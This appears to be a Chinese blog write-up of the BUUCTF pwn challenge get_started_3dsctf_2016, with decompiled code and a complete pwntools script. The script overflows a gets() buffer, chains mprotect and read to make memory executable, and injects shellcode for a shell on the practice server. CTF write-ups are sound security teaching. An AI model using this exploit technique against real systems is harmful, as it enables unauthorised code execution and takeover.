BUU刷题-Pwn-get_started_3dsctf_2016

解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:无需
  3. libc地址:无需
  4. BSS段地址:无需
    劫持程序执行流程:[[ret2shellcode(栈溢出执行shellcode)]]
    获得shell或flag:[[利用shellcode获得shell]]
学到的知识:

[[mprotect函数(运行内存权限修改)]]

题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file get_started_3dsctf_2016 
get_started_3dsctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped
                                                                                                                     
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=get_started_3dsctf_2016 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified    Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   1991) Symbols     No    0   0get_started_3dsctf_2016

libc版本:
wp借鉴:(22条消息) [BUUCTF]PWN11——get_started_3dsctf_2016_Angel~Yan的博客-CSDN博客_get_started_3dsctf_2016

核心伪代码分析:

存在利用的的代码:

void __cdecl get_flag(int a1, int a2)
{
  int v2; // esi
  unsigned __int8 v3; // al
  int v4; // ecx
  unsigned __int8 v5; // al

  if ( a1 == 814536271 && a2 == 425138641 )
  {
    v2 = fopen("flag.txt", "rt");
    v3 = getc(v2);
    if ( v3 != 255 )
    {
      v4 = (char)v3;
      do
      {
        putchar(v4);
        v5 = getc(v2);
        v4 = (char)v5;
      }
      while ( v5 != 255 );
    }
    fclose(v2);
  }
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[56]; // [esp+4h] [ebp-38h] BYREF

  printf("Qual a palavrinha magica? ", v4[0]);
  gets(v4);
  return 0;
}
分析:

本地打法:
此题目有个后门函数get_flag(int a1, int a2),在本地创建flag.txt,就可以利用栈溢出泄露flag,地址利用0x80489B8可以绕过if从而成功,因为if的条件无法满足所以只有绕过才可以。(但打远程时无用)

远程打法:
利用栈溢出开启某一个空白内存的可执行权限,将shellcode写入并执行即可获得主机权限。
利用mprotect函数开启可执行权限(指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍,不然无法修改权限)
再利用read函数写入shellcode,并执行。
所以栈的结构应该布置成

esp->mprotect_addr
	 return1_addr
	 arg_1
	 arg_2
	 arg_3
	 read_addr
	 return2_addr
	 arg_1
	 arg_2
	 arg_3
	 shellcode_addr

执行完mprotect函数后,esp指向return_addr无法执行下一个有参数的函数(因为无法传参)所以必须将esp指向read_addr,可以将return1_addr设置成pop…pop…pop…ret的地址。执行完后就可以将esp指向read_addr,写入shellcode。
return2_addr同样可以将esp指向shellcode_addr,从而获得主机权限。

脚本:
from pwn import *
context(log_level='debug',arch='i386',os='linux')
elf = ELF('./get_started_3dsctf_2016')

pwnfile='./get_started_3dsctf_2016'
#sh=process(pwnfile)
sh=remote('node4.buuoj.cn',27051)

pop3_ret = 0x804951D

mem_addr = 0x80EB000
mem_size = 0x1000    
mem_proc = 0x7 #开启所有权限      

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']


payload  = b'A' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop3_ret) 

payload += p32(mem_addr) 
payload += p32(mem_size)  
payload += p32(mem_proc)   
payload += p32(read_addr)
payload += p32(pop3_ret)  

payload += p32(0)     
payload += p32(mem_addr)   
payload += p32(0x100) 

payload += p32(mem_addr)   

#gdb.attach(sh)
pause()
sh.sendline(payload)


payload = asm(shellcraft.sh()) 

sh.sendline(payload)

sh.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值